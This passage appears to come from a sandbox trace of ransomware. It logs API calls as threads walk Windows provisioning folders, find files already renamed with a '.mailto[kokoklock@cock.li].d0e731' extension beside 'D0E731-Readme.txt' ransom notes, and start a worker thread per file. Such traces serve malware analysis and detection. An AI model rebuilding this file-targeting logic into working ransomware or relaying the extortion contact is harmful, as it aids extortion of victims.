Users\\Microsoft\\Provisioning\\{99b095d8-5959-4820-bea7-7448c8427b4e}\\" [0173.619] wcscat (in: _Dest=0x2f91660, _Source="*" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Provisioning\\{99b095d8-5959-4820-bea7-7448c8427b4e}\\*") returned="C:\\Users\\All Users\\Microsoft\\Provisioning\\{99b095d8-5959-4820-bea7-7448c8427b4e}\\*" [0173.619] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x250) returned 0x3021178 [0173.619] FindFirstFileW (in: lpFileName="C:\\Users\\All Users\\Microsoft\\Provisioning\\{99b095d8-5959-4820-bea7-7448c8427b4e}\\*", lpFindFileData=0x3021178 | out: lpFindFileData=0x3021178*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1d1854d2, ftCreationTime.dwHighDateTime=0x1d32743, ftLastAccessTime.dwLowDateTime=0x8a68a603, ftLastAccessTime.dwHighDateTime=0x1d56382, ftLastWriteTime.dwLowDateTime=0x8a68a603, ftLastWriteTime.dwHighDateTime=0x1d56382, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x2f7f960 [0173.621] wcscmp (_String1=".", _String2=".") returned 0 [0173.621] FindNextFileW (in: hFindFile=0x2f7f960, lpFindFileData=0x3021178 | out: lpFindFileData=0x3021178*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1d1854d2, ftCreationTime.dwHighDateTime=0x1d32743, ftLastAccessTime.dwLowDateTime=0x8a68a603, ftLastAccessTime.dwHighDateTime=0x1d56382, ftLastWriteTime.dwLowDateTime=0x8a68a603, ftLastWriteTime.dwHighDateTime=0x1d56382, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0173.621] wcscmp (_String1="..", _String2=".") returned 1 [0173.621] wcscmp (_String1="..", _String2="..") returned 0 [0173.621] FindNextFileW (in: hFindFile=0x2f7f960, lpFindFileData=0x3021178 | out: lpFindFileData=0x3021178*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x53e5b7d8, ftCreationTime.dwHighDateTime=0x1d29f93, ftLastAccessTime.dwLowDateTime=0x53e5b7d8, ftLastAccessTime.dwHighDateTime=0x1d29f93, ftLastWriteTime.dwLowDateTime=0x8a63e13c, ftLastWriteTime.dwHighDateTime=0x1d56382, nFileSizeHigh=0x0, nFileSizeLow=0x987, dwReserved0=0x0, dwReserved1=0x0, cFileName="customizations.xml.mailto[kokoklock@cock.li].d0e731", cAlternateFileName="")) returned 1 [0173.621] wcscmp (_String1="customizations.xml.mailto[kokoklock@cock.li].d0e731", _String2=".") returned 1 [0173.621] wcscmp (_String1="customizations.xml.mailto[kokoklock@cock.li].d0e731", _String2="..") returned 1 [0173.621] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x10a) returned 0x2f900c8 [0173.621] wcscpy (in: _Dest=0x2f900c8, _Source="C:\\Users\\All Users\\Microsoft\\Provisioning\\{99b095d8-5959-4820-bea7-7448c8427b4e}" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Provisioning\\{99b095d8-5959-4820-bea7-7448c8427b4e}") returned="C:\\Users\\All Users\\Microsoft\\Provisioning\\{99b095d8-5959-4820-bea7-7448c8427b4e}" [0173.621] wcscat (in: _Dest=0x2f900c8, _Source="\\" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Provisioning\\{99b095d8-5959-4820-bea7-7448c8427b4e}\\") returned="C:\\Users\\All Users\\Microsoft\\Provisioning\\{99b095d8-5959-4820-bea7-7448c8427b4e}\\" [0173.621] wcscat (in: _Dest=0x2f900c8, _Source="customizations.xml.mailto[kokoklock@cock.li].d0e731" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Provisioning\\{99b095d8-5959-4820-bea7-7448c8427b4e}\\customizations.xml.mailto[kokoklock@cock.li].d0e731") returned="C:\\Users\\All Users\\Microsoft\\Provisioning\\{99b095d8-5959-4820-bea7-7448c8427b4e}\\customizations.xml.mailto[kokoklock@cock.li].d0e731" [0174.033] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2c477a0, lpParameter=0x2f900c8, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x5c8 [0174.034] FindNextFileW (in: hFindFile=0x2f7f960, lpFindFileData=0x3021178 | out: lpFindFileData=0x3021178*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8a63e13c, ftCreationTime.dwHighDateTime=0x1d56382, ftLastAccessTime.dwLowDateTime=0x8a63e13c, ftLastAccessTime.dwHighDateTime=0x1d56382, ftLastWriteTime.dwLowDateTime=0x8a666827, ftLastWriteTime.dwHighDateTime=0x1d56382, nFileSizeHigh=0x0, nFileSizeLow=0x481, dwReserved0=0x0, dwReserved1=0x0, cFileName="D0E731-Readme.txt", cAlternateFileName="D0E731~1.TXT")) returned 1 [0174.034] wcscmp (_String1="D0E731-Readme.txt", _String2=".") returned 1 [0174.034] wcscmp (_String1="D0E731-Readme.txt", _String2="..") returned 1 [0174.034] FindNextFileW (in: hFindFile=0x2f7f960, lpFindFileData=0x3021178 | out: lpFindFileData=0x3021178*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x53e0f327, ftCreationTime.dwHighDateTime=0x1d29f93, ftLastAccessTime.dwLowDateTime=0x53e0f327, ftLastAccessTime.dwHighDateTime=0x1d29f93, ftLastWriteTime.dwLowDateTime=0x8a68a603, ftLastWriteTime.dwHighDateTime=0x1d56382, nFileSizeHigh=0x0, nFileSizeLow=0x1cf, dwReserved0=0x0, dwReserved1=0x0, cFileName="MasterDatastore.xml.mailto[kokoklock@cock.li].d0e731", cAlternateFileName="")) returned 1 [0174.034] wcscmp (_String1="MasterDatastore.xml.mailto[kokoklock@cock.li].d0e731", _String2=".") returned 1 [0174.034] wcscmp (_String1="MasterDatastore.xml.mailto[kokoklock@cock.li].d0e731", _String2="..") returned 1 [0174.034] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x10c) returned 0x305ce68 [0174.034] wcscpy (in: _Dest=0x305ce68, _Source="C:\\Users\\All Users\\Microsoft\\Provisioning\\{99b095d8-5959-4820-bea7-7448c8427b4e}" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Provisioning\\{99b095d8-5959-4820-bea7-7448c8427b4e}") returned="C:\\Users\\All Users\\Microsoft\\Provisioning\\{99b095d8-5959-4820-bea7-7448c8427b4e}" [0174.034] wcscat (in: _Dest=0x305ce68, _Source="\\" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Provisioning\\{99b095d8-5959-4820-bea7-7448c8427b4e}\\") returned="C:\\Users\\All Users\\Microsoft\\Provisioning\\{99b095d8-5959-4820-bea7-7448c8427b4e}\\" [0174.034] wcscat (in: _Dest=0x305ce68, _Source="MasterDatastore.xml.mailto[kokoklock@cock.li].d0e731" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Provisioning\\{99b095d8-5959-4820-bea7-7448c8427b4e}\\MasterDatastore.xml.mailto[kokoklock@cock.li].d0e731") returned="C:\\Users\\All Users\\Microsoft\\Provisioning\\{99b095d8-5959-4820-bea7-7448c8427b4e}\\MasterDatastore.xml.mailto[kokoklock@cock.li].d0e731" [0174.034] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2c477a0, lpParameter=0x305ce68, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x888 [0174.035] FindNextFileW (in: hFindFile=0x2f7f960, lpFindFileData=0x3021178 | out: lpFindFileData=0x3021178*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1d1854d2, ftCreationTime.dwHighDateTime=0x1d32743, ftLastAccessTime.dwLowDateTime=0x8be6688a, ftLastAccessTime.dwHighDateTime=0x1d56382, ftLastWriteTime.dwLowDateTime=0x8be6688a, ftLastWriteTime.dwHighDateTime=0x1d56382, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Prov", cAlternateFileName="")) returned 1 [0174.035] wcscmp (_String1="Prov", _String2=".") returned 1 [0174.035] wcscmp (_String1="Prov", _String2="..") returned 1 [0174.035] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0xac) returned 0x3055418 [0174.035] wcscpy (in: _Dest=0x3055418, _Source="C:\\Users\\All Users\\Microsoft\\Provisioning\\{99b095d8-5959-4820-bea7-7448c8427b4e}" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Provisioning\\{99b095d8-5959-4820-bea7-7448c8427b4e}") returned="C:\\Users\\All Users\\Microsoft\\Provisioning\\{99b095d8-5959-4820-bea7-7448c8427b4e}" [0174.035] wcscat (in: _Dest=0x3055418, _Source="\\" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Provisioning\\{99b095d8-5959-4820-bea7-7448c8427b4e}\\") returned="C:\\Users\\All Users\\Microsoft\\Provisioning\\{99b095d8-5959-4820-bea7-7448c8427b4e}\\" [0174.035] wcscat (in: _Dest=0x3055418, _Source="Prov" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Provisioning\\{99b095d8-5959-4820-bea7-7448c8427b4e}\\Prov") returned="C:\\Users\\All Users\\Microsoft\\Provisioning\\{99b095d8-5959-4820-bea7-7448c8427b4e}\\Prov" [0174.035] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2c502b0, lpParameter=0x3055418, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x884 [0174.036] FindNextFileW (in: hFindFile=0x2f7f960, lpFindFileData=0x3021178 | out: lpFindFileData=0x3021178*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1d1854d2, ftCreationTime.dwHighDateTime=0x1d32743, ftLastAccessTime.dwLowDateTime=0x8be6688a, ftLastAccessTime.dwHighDateTime=0x1d56382, ftLastWriteTime.dwLowDateTime=0x8be6688a, ftLastWriteTime.dwHighDateTime=0x1d56382, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Prov", cAlternateFileName="")) returned 0 [0174.036] FindClose (in: hFindFile=0x2f7f960 | out: hFindFile=0x2f7f960) returned 1 [0174.036] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x3021178) returned 1 [0174.036] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2f91660) returned 1 [0174.036] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2f924d0) returned 1 [0174.036] RtlExitUserThread (Status=0x0) Thread: id = 2161 os_tid = 0x12ac [0173.622] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0xa6) returned 0x2f91710 [0173.622] wcscpy (in: _Dest=0x2f91710, _Source="C:\\Users\\All Users\\Microsoft\\Provisioning\\{9aec5bda-1e87-46b3-bb96-1a01c606555e}" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Provisioning\\{9aec5bda-1e87-46b3-bb96-1a01c606555e}") returned="C:\\Users\\All Users\\Microsoft\\Provisioning\\{9aec5bda-1e87-46b3-bb96-1a01c606555e}" [0173.622] wcscat (in: _Dest=0x2f91710, _Source="\\" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Provisioning\\{9aec5bda-1e87-46b3-bb96-1a01c606555e}\\") returned="C:\\Users\\All Users\\Microsoft\\Provisioning\\{9aec5bda-1e87-46b3-bb96-1a01c606555e}\\" [0173.622] wcscat (in: _Dest=0x2f91710, _Source="*" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Provisioning\\{9aec5bda-1e87-46b3-bb96-1a01c606555e}\\*") returned="C:\\Users\\All Users\\Microsoft\\Provisioning\\{9aec5bda-1e87-46b3-bb96-1a01c606555e}\\*" [0173.622] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x250) returned 0x30213e0 [0173.622] FindFirstFileW (in: lpFileName="C:\\Users\\All Users\\Microsoft\\Provisioning\\{9aec5bda-1e87-46b3-bb96-1a01c606555e}\\*", lpFindFileData=0x30213e0 | out: lpFindFileData=0x30213e0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1d1ab71b, ftCreationTime.dwHighDateTime=0x1d32743, ftLastAccessTime.dwLowDateTime=0x885bbd37, ftLastAccessTime.dwHighDateTime=0x1d56382, ftLastWriteTime.dwLowDateTime=0x885bbd37, ftLastWriteTime.dwHighDateTime=0x1d56382, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x2f7f9a0 [0173.624] wcscmp (_String1=".", _String2=".") returned 0 [0173.624] FindNextFileW (in: hFindFile=0x2f7f9a0, lpFindFileData=0x30213e0 | out: lpFindFileData=0x30213e0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1d1ab71b, ftCreationTime.dwHighDateTime=0x1d32743, ftLastAccessTime.dwLowDateTime=0x885bbd37, ftLastAccessTime.dwHighDateTime=0x1d56382, ftLastWriteTime.dwLowDateTime=0x885bbd37, ftLastWriteTime.dwHighDateTime=0x1d56382, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0173.624] wcscmp (_String1="..", _String2=".") returned 1 [0173.624] wcscmp (_String1="..", _String2="..") returned 0 [0173.624] FindNextFileW (in: hFindFile=0x2f7f9a0, lpFindFileData=0x30213e0 | out: lpFindFileData=0x30213e0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x5410decf, ftCreationTime.dwHighDateTime=0x1d29f93, ftLastAccessTime.dwLowDateTime=0x5410decf, ftLastAccessTime.dwHighDateTime=0x1d29f93, ftLastWriteTime.dwLowDateTime=0x8856f6b6, ftLastWriteTime.dwHighDateTime=0x1d56382, nFileSizeHigh=0x0, nFileSizeLow=0x1d81, dwReserved0=0x0, dwReserved1=0x0, cFileName="customizations.xml.mailto[kokoklock@cock.li].d0e731", cAlternateFileName="")) returned 1 [0173.624] wcscmp (_String1="customizations.xml.mailto[kokoklock@cock.li].d0e731", _String2=".") returned 1 [0173.624] wcscmp (_String1="customizations.xml.mailto[kokoklock@cock.li].d0e731", _String2="..") returned 1 [0173.624] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x10a) returned 0x2f901e0 [0173.624] wcscpy (in: _Dest=0x2f901e0, _Source="C:\\Users\\All Users\\Microsoft\\Provisioning\\{9aec5bda-1e87-46b3-bb96-1a01c606555e}" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Provisioning\\{9aec5bda-1e87-46b3-bb96-1a01c606555e}") returned="C:\\Users\\All Users\\Microsoft\\Provisioning\\{9aec5bda-1e87-46b3-bb96-1a01c606555e}" [0173.624] wcscat (in: _Dest=0x2f901e0, _Source="\\" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Provisioning\\{9aec5bda-1e87-46b3-bb96-1a01c606555e}\\") returned="C:\\Users\\All Users\\Microsoft\\Provisioning\\{9aec5bda-1e87-46b3-bb96-1a01c606555e}\\" [0173.625] wcscat (in: _Dest=0x2f901e0, _Source="customizations.xml.mailto[kokoklock@cock.li].d0e731" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Provisioning\\{9aec5bda-1e87-46b3-bb96-1a01c606555e}\\customizations.xml.mailto[kokoklock@cock.li].d0e731") returned="C:\\Users\\All Users\\Microsoft\\Provisioning\\{9aec5bda-1e87-46b3-bb96-1a01c606555e}\\customizations.xml.mailto[kokoklock@cock.li].d0e731" [0174.029] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2c477a0, lpParameter=0x2f901e0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x614 [0174.029] FindNextFileW (in: hFindFile=0x2f7f9a0, lpFindFileData=0x30213e0 | out: lpFindFileData=0x30213e0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8859580b, ftCreationTime.dwHighDateTime=0x1d56382, ftLastAccessTime.dwLowDateTime=0x8859580b, ftLastAccessTime.dwHighDateTime=0x1d56382, ftLastWriteTime.dwLowDateTime=0x8859580b, ftLastWriteTime.dwHighDateTime=0x1d56382, nFileSizeHigh=0x0, nFileSizeLow=0x481, dwReserved0=0x0, dwReserved1=0x0, cFileName="D0E731-Readme.txt", cAlternateFileName="D0E731~1.TXT")) returned 1 [0174.030] wcscmp (_String1="D0E731-Readme.txt", _String2=".") returned 1 [0174.030] wcscmp (_String1="D0E731-Readme.txt", _String2="..") returned 1 [0174.030] FindNextFileW (in: hFindFile=0x2f7f9a0, lpFindFileData=0x30213e0 | out: lpFindFileData=0x30213e0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x54002dee, ftCreationTime.dwHighDateTime=0x1d29f93, ftLastAccessTime.dwLowDateTime=0x54002dee, ftLastAccessTime.dwHighDateTime=0x1d29f93, ftLastWriteTime.dwLowDateTime=0x885bbd37, ftLastWriteTime.dwHighDateTime=0x1d56382, nFileSizeHigh=0x0, nFileSizeLow=0x1cf, dwReserved0=0x0, dwReserved1=0x0, cFileName="MasterDatastore.xml.mailto[kokoklock@cock.li].d0e731", cAlternateFileName="")) returned 1 [0174.030] wcscmp (_String1="MasterDatastore.xml.mailto[kokoklock@cock.li].d0e731", _String2=".") returned 1 [0174.030] wcscmp (_String1="MasterDatastore.xml.mailto[kokoklock@cock.li].d0e731", _String2="..") returned 1 [0174.030] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x10c) returned 0x305cd50 [0174.030] wcscpy (in: _Dest=0x305cd50, _Source="C:\\Users\\All Users\\Microsoft\\Provisioning\\{9aec5bda-1e87-46b3-bb96-1a01c606555e}" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Provisioning\\{9aec5bda-1e87-46b3-bb96-1a01c606555e}") returned="C:\\Users\\All Users\\Microsoft\\Provisioning\\{9aec5bda-1e87-46b3-bb96-1a01c606555e}" [0174.030] wcscat (in: _Dest=0x305cd50, _Source="\\" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Provisioning\\{9aec5bda-1e87-46b3-bb96-1a01c606555e}\\") returned="C:\\Users\\All Users\\Microsoft\\Provisioning\\{9aec5bda-1e87-46b3-bb96-1a01c606555e}\\" [0174.030] wcscat (in: _Dest=0x305cd50, _Source="MasterDatastore.xml.mailto[kokoklock@cock.li].d0e731" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Provisioning\\{9aec5bda-1e87-46b3-bb96-1a01c606555e}\\MasterDatastore.xml.mailto[kokoklock@cock.li].d0e731") returned="C:\\Users\\All Users\\Microsoft\\Provisioning\\{9aec5bda-1e87-46b3-bb96-1a01c606555e}\\MasterDatastore.xml.mailto[kokoklock@cock.li].d0e731" [0174.030] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2c477a0, lpParameter=0x305cd50, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x890 [0174.030] FindNextFileW (in: hFindFile=0x2f7f9a0, lpFindFileData=0x30213e0 | out: lpFindFileData=0x30213e0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1d1ab71b, ftCreationTime.dwHighDateTime=0x1d32743, ftLastAccessTime.dwLowDateTime=0x8c0ef100, ftLastAccessTime.dwHighDateTime=0x1d56382, ftLastWriteTime.dwLowDateTime=0x8c0ef100, ftLastWriteTime.dwHighDateTime=0x1d56382, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Prov", cAlternateFileName="")) returned 1 [0174.030] wcscmp (_String1="Prov", _String2=".") returned 1 [0174.031] wcscmp (_String1="Prov", _String2="..") returned 1 [0174.031] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0xac) returned 0x3055360 [0174.031] wcscpy (in: _Dest=0x3055360, _Source="C:\\Users\\All Users\\Microsoft\\Provisioning\\{9aec5bda-1e87-46b3-bb96-1a01c606555e}" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Provisioning\\{9aec5bda-1e87-46b3-bb96-1a01c606555e}") returned="C:\\Users\\All Users\\Microsoft\\Provisioning\\{9aec5bda-1e87-46b3-bb96-1a01c606555e}" [0174.031] wcscat (in: _Dest=0x3055360, _Source="\\" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Provisioning\\{9aec5bda-1e87-46b3-bb96-1a01c606555e}\\") returned="C:\\Users\\All Users\\Microsoft\\Provisioning\\{9aec5bda-1e87-46b3-bb96-1a01c606555e}\\" [0174.031] wcscat (in: _Dest=0x3055360, _Source="Prov" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Provisioning\\{9aec5bda-1e87-46b3-bb96-1a01c606555e}\\Prov") returned="C:\\Users\\All Users\\Microsoft\\Provisioning\\{9aec5bda-1e87-46b3-bb96-1a01c606555e}\\Prov" [0174.031] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2c502b0, lpParameter=0x3055360, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x88c [0174.031] FindNextFileW (in: hFindFile=0x2f7f9a0, lpFindFileData=0x30213e0 | out: lpFindFileData=0x30213e0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1d1ab71b, ftCreationTime.dwHighDateTime=0x1d32743, ftLastAccessTime.dwLowDateTime=0x8c0ef100, ftLastAccessTime.dwHighDateTime=0x1d56382, ftLastWriteTime.dwLowDateTime=0x8c0ef100, ftLastWriteTime.dwHighDateTime=0x1d56382, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Prov", cAlternateFileName="")) returned 0 [0174.031] FindClose (in: hFindFile=0x2f7f9a0 | out: hFindFile=0x2f7f9a0) returned 1 [0174.032] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x30213e0) returned 1 [0174.032] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2f91710) returned 1 [0174.032] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2f92370) returned 1 [0174.032] RtlExitUserThread (Status=0x0) Thread: id = 2162 os_tid = 0x12b0 [0173.625] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0xa6) returned 0x2f917c0 [0173.625] wcscpy (in: _Dest=0x2f917c0, _Source="C:\\Users\\All Users\\Microsoft\\Provisioning\\{9df6a4ed-fc16-48bf-8b24-6e2ad2bfcfea}" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Provisioning\\{9df6a4ed-fc16-48bf-8b24-6e2ad2bfcfea}") returned="C:\\Users\\All Users\\Microsoft\\Provisioning\\{9df6a4ed-fc16-48bf-8b24-6e2ad2bfcfea}" [0173.625] wcscat (in: _Dest=0x2f917c0, _Source="\\" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Provisioning\\{9df6a4ed-fc16-48bf-8b24-6e2ad2bfcfea}\\") returned="C:\\Users\\All Users\\Microsoft\\Provisioning\\{9df6a4ed-fc16-48bf-8b24-6e2ad2bfcfea}\\" [0173.625] wcscat (in: _Dest=0x2f917c0, _Source="*" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Provisioning\\{9df6a4ed-fc16-48bf-8b24-6e2ad2bfcfea}\\*") returned="C:\\Users\\All Users\\Microsoft\\Provisioning\\{9df6a4ed-fc16-48bf-8b24-6e2ad2bfcfea}\\*" [0173.625] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x250) returned 0x2fe19d8 [0173.625] FindFirstFileW (in: lpFileName="C:\\Users\\All Users\\Microsoft\\Provisioning\\{9df6a4ed-fc16-48bf-8b24-6e2ad2bfcfea}\\*", lpFindFileData=0x2fe19d8 | out: lpFindFileData=0x2fe19d8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1d1f7bd0, ftCreationTime.dwHighDateTime=0x1d32743, ftLastAccessTime.dwLowDateTime=0x8862e217, ftLastAccessTime.dwHighDateTime=0x1d56382, ftLastWriteTime.dwLowDateTime=0x8862e217, ftLastWriteTime.dwHighDateTime=0x1d56382, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x2f7f9e0 [0173.627] wcscmp (_String1=".", _String2=".") returned 0 [0173.627] FindNextFileW (in: hFindFile=0x2f7f9e0, lpFindFileData=0x2fe19d8 | out: lpFindFileData=0x2fe19d8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1d1f7bd0, ftCreationTime.dwHighDateTime=0x1d32743, ftLastAccessTime.dwLowDateTime=0x8862e217, ftLastAccessTime.dwHighDateTime=0x1d56382, ftLastWriteTime.dwLowDateTime=0x8862e217, ftLastWriteTime.dwHighDateTime=0x1d56382, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0173.627] wcscmp (_String1="..", _String2=".") returned 1 [0173.627] wcscmp (_String1="..", _String2="..") returned 0 [0173.627] FindNextFileW (in: hFindFile=0x2f7f9e0, lpFindFileData=0x2fe19d8 | out: lpFindFileData=0x2fe19d8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x53f9117b, ftCreationTime.dwHighDateTime=0x1d29f93, ftLastAccessTime.dwLowDateTime=0x53f9117b, ftLastAccessTime.dwHighDateTime=0x1d29f93, ftLastWriteTime.dwLowDateTime=0x88607f6b, ftLastWriteTime.dwHighDateTime=0x1d56382, nFileSizeHigh=0x0, nFileSizeLow=0x91a, dwReserved0=0x0, dwReserved1=0x0, cFileName="customizations.xml.mailto[kokoklock@cock.li].d0e731", cAlternateFileName="CUSTOM~1.D0E")) returned 1 [0173.627] wcscmp (_String1="customizations.xml.mailto[kokoklock@cock.li].d0e731", _String2=".") returned 1 [0173.627] wcscmp (_String1="customizations.xml.mailto[kokoklock@cock.li].d0e731", _String2="..") returned 1 [0173.627] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x10a) returned 0x2f902f8 [0173.627] wcscpy (in: _Dest=0x2f902f8, _Source="C:\\Users\\All Users\\Microsoft\\Provisioning\\{9df6a4ed-fc16-48bf-8b24-6e2ad2bfcfea}" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Provisioning\\{9df6a4ed-fc16-48bf-8b24-6e2ad2bfcfea}") returned="C:\\Users\\All Users\\Microsoft\\Provisioning\\{9df6a4ed-fc16-48bf-8b24-6e2ad2bfcfea}" [0173.627] wcscat (in: _Dest=0x2f902f8, _Source="\\" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Provisioning\\{9df6a4ed-fc16-48bf-8b24-6e2ad2bfcfea}\\") returned="C:\\Users\\All Users\\Microsoft\\Provisioning\\{9df6a4ed-fc16-48bf-8b24-6e2ad2bfcfea}\\" [0173.627] wcscat (in: _Dest=0x2f902f8, _Source="customizations.xml.mailto[kokoklock@cock.li].d0e731" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Provisioning\\{9df6a4ed-fc16-48bf-8b24-6e2ad2bfcfea}\\customizations.xml.mailto[kokoklock@cock.li].d0e731") returned="C:\\Users\\All Users\\Microsoft\\Provisioning\\{9df6a4ed-fc16-48bf-8b24-6e2ad2bfcfea}\\customizations.xml.mailto[kokoklock@cock.li].d0e731" [0174.025] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2c477a0, lpParameter=0x2f902f8, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x3e8 [0174.025] FindNextFileW (in: hFindFile=0x2f7f9e0, lpFindFileData=0x2fe19d8 | out: lpFindFileData=0x2fe19d8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x88607f6b, ftCreationTime.dwHighDateTime=0x1d56382, ftLastAccessTime.dwLowDateTime=0x88607f6b, ftLastAccessTime.dwHighDateTime=0x1d56382, ftLastWriteTime.dwLowDateTime=0x88607f6b, ftLastWriteTime.dwHighDateTime=0x1d56382, nFileSizeHigh=0x0, nFileSizeLow=0x481, dwReserved0=0x0, dwReserved1=0x0, cFileName="D0E731-Readme.txt", cAlternateFileName="D0E731~1.TXT")) returned 1 [0174.025] wcscmp (_String1="D0E731-Readme.txt", _String2=".") returned 1 [0174.025] wcscmp (_String1="D0E731-Readme.txt", _String2="..") returned 1 [0174.025] FindNextFileW (in: hFindFile=0x2f7f9e0, lpFindFileData=0x2fe19d8 | out: lpFindFileData=0x2fe19d8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x53f6af14, ftCreationTime.dwHighDateTime=0x1d29f93, ftLastAccessTime.dwLowDateTime=0x53f6af14, ftLastAccessTime.dwHighDateTime=0x1d29f93, ftLastWriteTime.dwLowDateTime=0x8862e217, ftLastWriteTime.dwHighDateTime=0x1d56382, nFileSizeHigh=0x0, nFileSizeLow=0x1cf, dwReserved0=0x0, dwReserved1=0x0, cFileName="MasterDatastore.xml.mailto[kokoklock@cock.li].d0e731", cAlternateFileName="MASTER~1.D0E")) returned 1 [0174.025] wcscmp (_String1="MasterDatastore.xml.mailto[kokoklock@cock.li].d0e731", _String2=".") returned 1 [0174.026] wcscmp (_String1="MasterDatastore.xml.mailto[kokoklock@cock.li].d0e731", _String2="..") returned 1 [0174.026] RtlAllocateHeap 